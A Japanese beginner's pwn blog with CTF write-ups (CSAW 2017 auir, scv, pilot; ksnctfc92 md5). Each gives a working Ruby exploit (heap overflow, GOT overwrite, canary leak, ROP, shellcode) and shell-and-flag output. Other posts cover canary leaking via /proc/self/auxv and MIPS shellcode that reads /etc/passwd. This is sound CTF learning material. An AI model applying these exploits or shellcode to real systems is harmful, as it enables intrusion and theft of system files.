Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

CSAW CTF2017 auir (pwn200)

下調べ

  • x86-64でdynamically linked, strippedなバイナリ
  • CanaryとPIEが無効,Nx bitは有効

解析

  • コマンド1でサイズ入力後にそのサイズ分データを入力可能
  • コマンド2で対象のデータをfreeする
    • たしかdouble freeできる(今回は使わなかったけど)
  • コマンド3で対象のデータにたいして,サイズを入力後,そのサイズ分データを入力可能
    • ここでHOFが発生
    • ヒープのアドレスが格納された配列0x605310に対して添字でアクセスするが,範囲チェックをしていないため,かなり先まで格納できてしまう
  • コマンド4で対象のデータを表示

exploit

いつもの手順でheapとlibcのアドレスをリークする.(今書いてて気づいたけど結局ヒープベース使っていないのでいらない).

カウンタ的な変数が0x605630にあるので,ここが0x21になるようにチャンクを確保しまくる.その後,コマンド3でfreed chunkをカウンタ的な変数のところに繋がるように上書きしてあげて,2回コマンド1でチャンクを作ってfastbins unlink attackで0x605630のチャンクを返してあげて,そこのデータ領域に0x605310を書き込む.

その後コマンド3で範囲チェックの甘さを利用して遠くはなれたとこにある0x605310に対して書き換えたいアドレスを書き込む.今回はfreeのgotを利用.そしてインデックス0(0x605310の先頭)に対してコマンド3をすればfreeのgotが書き換わるのでsystem関数のアドレスを入れる.

fastbins unlink attackのために走らせたchunkのところに予めsystem関数で呼びたいコマンドを書き込んでおいて,コマンド2でfreeするときに,そのデータのインデックスを選べば,system(呼びたいコマンド)が実行される.今回なぜか/bin/shがうまく立ち上がらなかった(立ち上がっていたけどなんか入出力が死んでた)ので,今までのpwn問題から同じディレクトリにflagがあるとguessingして,/bin/cat flag\x00を実行した.

↑コマンドラッパーメソッドであるdestroyを読んだ後にinteractiveメソッドとかを読んでいたためでした.ラッパーメソッド内では正常なfree後に文字列を取得するような処理をしていますが,free呼び出し時にsystem(“/bin/sh”)が呼ばれて切り替わるため,ラッパーメソッド内の次のメニューを待ち受けする処理が永遠と終わらずシェルの操作に行かなくなってしまうというミスでした.そのためexploitも更新しました.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'
require 'fsalib'
require 'libclib'
include Shellcode

host = 'localhost'
port = 8888
libc = Libc.new('./libc-2.23.so')

if(ARGV[0] == 'r')
  host = 'pwn.chal.csaw.io'
  port = 7713
end

def make(t, size, data)
  t.sendline("1")
  t.recv_until(">>")
  t.sendline(size.to_s)
  t.recv_until(">>")
  t.send(data)
  t.recv_until(">>")
end

def destroy(t, id)
  t.sendline("2")
  t.recv_until(">>")
  t.sendline(id.to_s)
  t.recv_until("\n") # [*]BREAKING...
  t.recv_until(">>")
end

def fix(t, id, size, data)
  t.sendline("3")
  t.recv_until(">>")
  t.sendline(id.to_s)
  t.recv_until(">>")
  t.sendline(size.to_s)
  t.recv_until(">>")
  t.send(data)
  t.recv_until(">>")
end


def display(t, id)
  t.sendline("4")
  t.recv_until(">>")
  t.sendline(id.to_s)
  t.recv_until(">>")
end

PwnTube.open(host, port) do |t|

  # t.debug = true

  t.recv_until(">>")

  make(t, 0x100, "AAAAAAAA")
  make(t, 0x100, "BBBBBBBB")
  make(t, 0x100, "CCCCCCCC")
  make(t, 0x100, "DDDDDDDD")

  # leak libc & heap base from <main_arena+88>
  destroy(t, 2)
  res = display(t, 2)
  libc_base = u64(res.split("...\n")[1][0,8])[0] - 0x3c4b20 - 88
  puts "[!] libc base 0x%x" % libc_base
  
  destroy(t, 0)
  res = display(t, 0)
  heap_base = u64(res.split("...\n")[1][0,8])[0] - 0x11e30  
  puts "[!] heap base 0x%x" % heap_base

  # clean heap
  destroy(t,1)
  destroy(t,3)
  
  count_addr = 0x605630

  # I wanna make count and fake chunk size equal
  (0x21 - 4).times do |i|
    puts i
    make(t, 0x10, "dummy#{i}")
  end

  # free will be overwritten chunk
  destroy(t, 32)

  # fake chunk
  payload = "\x00" * 24
  payload << p64(0x21)
  payload << p64(count_addr-8)
  
  # Overwrite freed chunk(32) via chunk(31) heap overflow
  fix(t, 31, payload.length, payload)

  cmd = "/bin/sh\x00"
  make(t, cmd.length, cmd) # chunk(33)

  make(t, 0x10, p64(0x605310))
  
  #STDIN.gets
  # Overwrite 0x605310 to free@got
  fix(t, 0x328 / 8, 8, p64(0x605060)) # free@got

  # Overwrite free@got to system
  fix(t, 0, 8, p64(libc_base + libc.symbol('__libc_system')))

  # Delete chunk(33) then launch system("/bin/sh")
  t.sendline("2")
  t.recv_until(">>")
  t.sendline("33")
  t.recv_until("\n") # [*]BREAKING
  
  t.interactive
  
end

以下実行画面

[*] connected
[!] libc base 0x7f6f86464000
[!] heap base 0x960000
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat flag
flag{W4rr10rs!_A1ur_4wa1ts_y0u!_M4rch_f0rth_and_t4k3_1t!}
[*] connection closed

CSAW CTF 2017 scv (pwn100)

下調べ

  • x86-64でdynamically linked,strippedなバイナリ
  • CanaryとNx bitが有効

100点問題なことからCanaryは破れそうな気がした

解析

  • コマンド1でデータ入力ができ.
    • ここでCanaryの末尾1byteとかを潰したりできる
  • コマンド2で入力されているデータを出力する
    • Canaryの末尾1byteを潰しておけばリーク可能
  • コマンド3で安全にreturnしてmain関数がおわる

exploit

解析結果よりコマンド1や2で,Canaryや__libc_start_main等をリークしてあげる.その後,BOFってone-gadgetに飛ばすペイロードを作成しコマンド1で流し込んであげて,コマンド3で発火.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'
require 'fsalib'
require 'libclib'
include Shellcode

host = 'localhost'
port = 8888
libc = Libc.new('/lib/x86_64-linux-gnu/libc.so.6')

if(ARGV[0] == 'r')
  host = 'pwn.chal.csaw.io'
  port = 3764
  libc = Libc.new('./libc-2.23.so')
end

def feed(t, data)
  t.sendline("1")
  t.recv_until(">>")
  t.send(data)
  t.recv_until(">>")
end

def review(t)
  t.sendline("2")
  return t.recv_until(">>")
end

def bye(t)
  t.sendline("3")
  t.recv_until("\n")
end

PwnTube.open(host, port) do |t|
  # t.debug = true

  t.recv_until(">>")

  # leak canary
  feed(t, "A" * 169)
  res = review(t)
  canary = u64("\x00" + res.split("A" * 169)[1][0,7])[0]
  puts "[!] Leak canary 0x%x" % canary

  # leak libc base from __libc_start_main's offset
  feed(t, "A" * 184)
  res = review(t)
  libc_start_main_addr = u64(res.split("A" * 184)[1][0,6] + "\x00\x00")[0] - 240
  libc_base = libc_start_main_addr - libc.symbol('__libc_start_main')
  puts "[!] libc_start_main 0x%x" % libc_start_main_addr
  puts "[!] libc base 0x%x" % libc_base
  
  payload = "A" * 168
  payload << p64(canary)
  payload << "GOMIGOMI" # bss
  payload << p64(libc_base + 0xf1117)
  feed(t, payload)
  
  bye(t)
  
  t.shell
end

以下実行画面

[*] connected
[!] Leak canary 0xdc3feb774271fb00
[!] libc_start_main 0x7f2d1228c740
[!] libc base 0x7f2d1226c000
[*] waiting for shell...
[*] interactive mode
cat flag
flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}

CSAW CTF2017 pilot (pwn75)

下調べ

  • x86-64でdynamically linked,strippedなバイナリ
  • CanaryもNx bitもPIEも無効

得点が低いことと上記の制約からシェルコード流すだけだと判断

解析

  • RSPを表示してくれる(ありがたい)
  • オフセット32byteでold rbpに突入する

exploit

解析結果より単純にBOFして,シェルコードに飛ばすだけ.スタック上で実行するためかpushで命令が変わってしまう?みたいな変な挙動したので,rbpをbssに設定するように配置しておいて,シェルコードの先頭でmov rsp, rbpをしておいた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'
require 'fsalib'
include Shellcode

host = 'localhost'
port = 8888

if ARGV[0] == 'r'
  host = 'pwn.chal.csaw.io'
  port = 8464
end

PwnTube.open(host, port) do |t|
  # t.debug = true

  res = t.recv_until(":")
  rsp = t.recv_until("\n").chop.to_i(16)
  puts "[!] Location:0x%x" % rsp
  t.recv_until(":")

  # 89 ec -> mov rsp, rbp
  payload = "\x89\xec" + shellcode(:x64)
  payload = payload.ljust(32, "A")
  payload << p64(0x0602500) # rbp
  payload << p64(rsp)
  t.send(payload)

  t.shell
end

以下実行画面

[*] connected
[!] Location:0x7ffc2cf7d140
[*] waiting for shell...
[*] interactive mode
cat flag
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}

ksnctfc92 md5 (pwn 60)

時間立っちゃって間違ってるかもしれないけど記憶の限り書いておく

下調べ

  • 64bitのdynamically linkedでnot strippedなバイナリ
  • Nx bitが立ってる
  • libc配布されている

解析

解析してくと"exit"という文字列のmd5を比較してるのが分かるので、"exit"文字列をいい感じにセットしてあげて、ペイロードを組むと楽にPCが取れる。

Exploit

PCが取れたら、puts関数とかを使ってlibcのアドレスをリークしてあげて、libcベースを算出する。あとは64bitバイナリなので、一応one_gadget調べてみたら、使えそうなガジェットがあったので、それに飛ばすとシェルが取れる。

以下にexploitを示す。

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 9999

if(ARGV[0] == 'r')
  host = 'ksnctfc92.u1tramarine.blue'
  port = 55555
end

PwnTube.open(host, port) do |t|

  # puts(puts@got)
  rop = p64(0x400f13, 0x602028, 0x400820, 0x400c87)
  t.recv_until("length:")
  t.sendline("%d"  % (120 + rop.length))
  t.recv_until("data:")
  t.sendline("\x00" * 120 + rop)
  
  t.recv_until("length:")
  t.sendline("4")
  t.recv_until("data:")
  t.send("exit") # from md5crack
  t.recv_until("\n")
  
  addr = t.recv_until("\n").chop.ljust(8, "\x00")
  libc_puts = u64(addr)[0]
  libc_base = libc_puts - 0x6cee0
  puts "[+] libc base: 0x%x" % libc_base
  
  # One gadget
  libc_magic = libc_base + 0xe1f7f
  
  t.recv_until("length:")
  t.sendline("%d"  % (128))
  t.recv_until("data:")
  t.sendline("\x00" * 120 + p64(libc_magic))
  
  t.recv_until("length:")
  t.sendline("4")
  t.recv_until("data:")
  t.send("exit")

  t.shell
end

実際に実行してみると以下のような感じ。

$ ./x.rb r
[*] connected
[+] libc base: 0x7fd1d87da000
[*] waiting for shell...
[*] interactive mode
id
uid=1002(md5) gid=1002(md5) groups=1002(md5)
ls
flag.txt
flag2.txt
md5
md5.sh
cat flag*
FLAG{EukFcauPdlPYh0bK}
FLAG{OpBW3mIwSllxumQZ}

/proc/self/auxvを用いたCanaryリーク

tl;dr

/proc/self/auxvから見れるAT_RANDOMの値が指すメモリの値の末尾1byteを0x00に変更したものがCanaryと等しい。

はじめに

/proc配下にはexploitする上で良い情報源となる物が多い。今回はそれらの中でもauxv(auxiliary vector補助ベクトルの略かな?)に注目する。auxvには、実行時にプロセスに渡された ELF インタープリター情報が格納されている。具体的にはunsigned longのidとidに対応するunsigned longなvalueが格納されている。ここに格納されている情報を用いてCanaryをリークする。

環境

どういう環境でこれが成立するのかわからないので、とりあえず試した環境を示しておく。

vagrant@ubuntu4ctf ~/c/t/auxv> uname -a                                                                                                               
Linux ubuntu4ctf 4.8.0-32-generic #34~16.04.1-Ubuntu SMP Tue Dec 13 17:03:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
vagrant@ubuntu4ctf ~/c/t/auxv> cat /etc/lsb-release                                                                                                   
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
vagrant@ubuntu4ctf ~/c/t/auxv> gcc --version                                                                                                          
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

vagrant@ubuntu4ctf ~/c/t/auxv> /lib/x86_64-linux-gnu/libc.so.6                                                                                        
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
        crypt add-on version 2.1 by Michael Glad and others
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

/proc/self/auxvを見てみる

簡単に見る方法として、環境変数LD_SHOW_AUXV=1をセットしておくことで、/proc/self/auxvの値をidとvalueのペアでわかりやすいように表示してくれる。

試しに/bin/lsを実行してみる。

vagrant@ubuntu4ctf:~/ctf/tmp/auxv$ LD_SHOW_AUXV=1 /bin/ls
AT_SYSINFO_EHDR: 0x7ffcac3e6000
AT_HWCAP:        78bfbff
AT_PAGESZ:       4096
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7f0195d8d000
AT_FLAGS:        0x0
AT_ENTRY:        0x4049a0
AT_UID:          1000
AT_EUID:         1000
AT_GID:          1000
AT_EGID:         1000
AT_SECURE:       0
AT_RANDOM:       0x7ffcac339899
AT_EXECFN:       /bin/ls
AT_PLATFORM:     x86_64
getauxval_test.c

他にも、glibcがauxiliary vectorから値を取得するgetauxval関数も存在する。以下にサンプルプログラムを示す。

/*
 * gcc getauxval_test.c
 */
#include <stdio.h>
#include <sys/auxv.h>
int main(int argc, char* argv[]) {

  printf("AT_PLATFORM: %s\n", getauxval(AT_PLATFORM));
  printf("AT_RANDOM: %lx\n", getauxval(AT_RANDOM));

  return 0;
}

実行してみるとこんか感じ。

vagrant@ubuntu4ctf ~/c/t/auxv> ./a.out                                                                       
AT_PLATFORM: x86_64
AT_RANDOM: 7fffedf92c29

Canaryをリークしてみる

実はこのAT_RANDOMが指すメモリの値に、Canaryと末尾1byteのみが異なる値が格納されている。また、Canaryは末尾1byteが0x00だと既知なので、実質Canaryが求まることになる。 実際に求めるプログラムを以下に示す。

/*
 * gcc canary_leak_from_auxv.c
 */
#include <stdio.h>
#include <sys/auxv.h>

int main(int argc, char* argv[]) {
  char buf[16]
  unsigned long *canary_addr = (unsigned long*)getauxval(AT_RANDOM);
  unsigned long canary;
  canary = (unsigned long*)*canary_addr;
  canary &= ~0xff; // 末尾1byteを0x00に
  printf("Canary: 0x%lx\n", canary);

  return 0;
}

上記のプログラムをコンパイルしたら、実際にgdbでCanaryの値とprintfする際の第二引数を見てCanaryの値が一致しているかをたしかめてみる。最初のスクショがCanaryをraxレジスタに入れた直後で、二つ目がprintfを呼ぶ直前の画面である。f:id:encry1024:20170812001930p:plain f:id:encry1024:20170812001956p:plain

これらの結果からCanaryが一致していることがわかる。

まとめ

以下の2点が揃えばCanaryをリークすることが可能である。

  • /proc/self/auxvかgetauxval関数が呼べる
  • メモリのread、writeができる

感想

上記の2つが出来てたら、もうCanaryをリークする意味はなさそう...w

mipselにおけるopen-read-writeするシェルコードを書いてみる

はじめに

pwn.hatenadiary.jp

以前の記事では、execveを用いてシェルを起動するシェルコードを使っていた。
今回は、execveなどがseccomp等で制限されて使えない場合を想定して、open,read,writeのシステムコールを用いて、ファイルの中身を出力する"\x00"が入っていないシェルコードを書いてみた。一応、最後はexitするようにしている。主な仕様制限として、255byteのreadで、ファイル名の末尾はうまくNULL終端してくれる場合にのみ有効である。

環境

前回の記事と同じ環境である。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

シェルコードを書く

詳しい挙動についてはコメントを見て欲しい。

.section .text
.global __start
.set noreorder

__start:
    addiu $sp, $sp, -255
    slti $a2, $zero, -1
p:
    bltzal $a2, p
    slti $a1, $zero, -1   # $a1 = 0
    addu $a0, $ra, 4097
    addu $a0, $a0, -4025  # $a0 = $ra + 72
    li $v0, 4005
    syscall 0x40404       # $v0 = open("/etc/passwd", O_RDONLY)
    andi $a0, $v0, 4095   # fd
    move $a1, $sp         # buf
    li $a2, 255           # count
    li $v0, 4003
    syscall 0x40404       # read($v0, $sp, 255)
    li $a0, 4095
    addiu $a0, $a0, -4094 # fd($a0 = 1)
    move $a1, $sp         # buf
    li $a2, 255           # count
    li $v0, 4004
    syscall 0x40404       # write(1, $sp, 255)
    slti $a0, $zero, -1   # status
    li $v0, 4001
    syscall 0x40404       # exit(0)
path:
    .string "/etc/passwd"

上記のプログラムを以下のようにしてアセンブルする。

root@debian-mipsel:~/study# as orw.s -o orw.o
root@debian-mipsel:~/study# ld orw.o -o orw

実際に、実行してみる。straceして各システムコールの戻り値や引数が合っているかも同時に確認してみる。

root@debian-mipsel:~/study# strace ./orw
execve("./orw", ["./orw"], [/* 19 vars */]) = 0
open("/etc/passwd", O_RDONLY)           = 3
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 255) = 255
write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 255root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/va) = 255
exit(0)                                 = ?
+++ exited with 0 +++

ちゃんと"/etc/passwd"をO_RDONLYでopenして、255byteの入出力、最後はexitが呼ばれて終了していることがわかる。 もうちょっと短くできそうだったら教えていただけると嬉しい。

mipselにおけるシェルコードを読んでみる

2017年8月11日に茅場町コワーキングスペースCo-EdoでCpawLTをやったので置いておく。ここすごく綺麗だし勉強会にはちょうど良いので、オススメします。

mipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみるでは、exploit-dbにあるシェルコードをそのまま使っていた & LTネタが無かったので、シェルコードの動きとかコメント付けて解説したりしました。

speakerdeck.com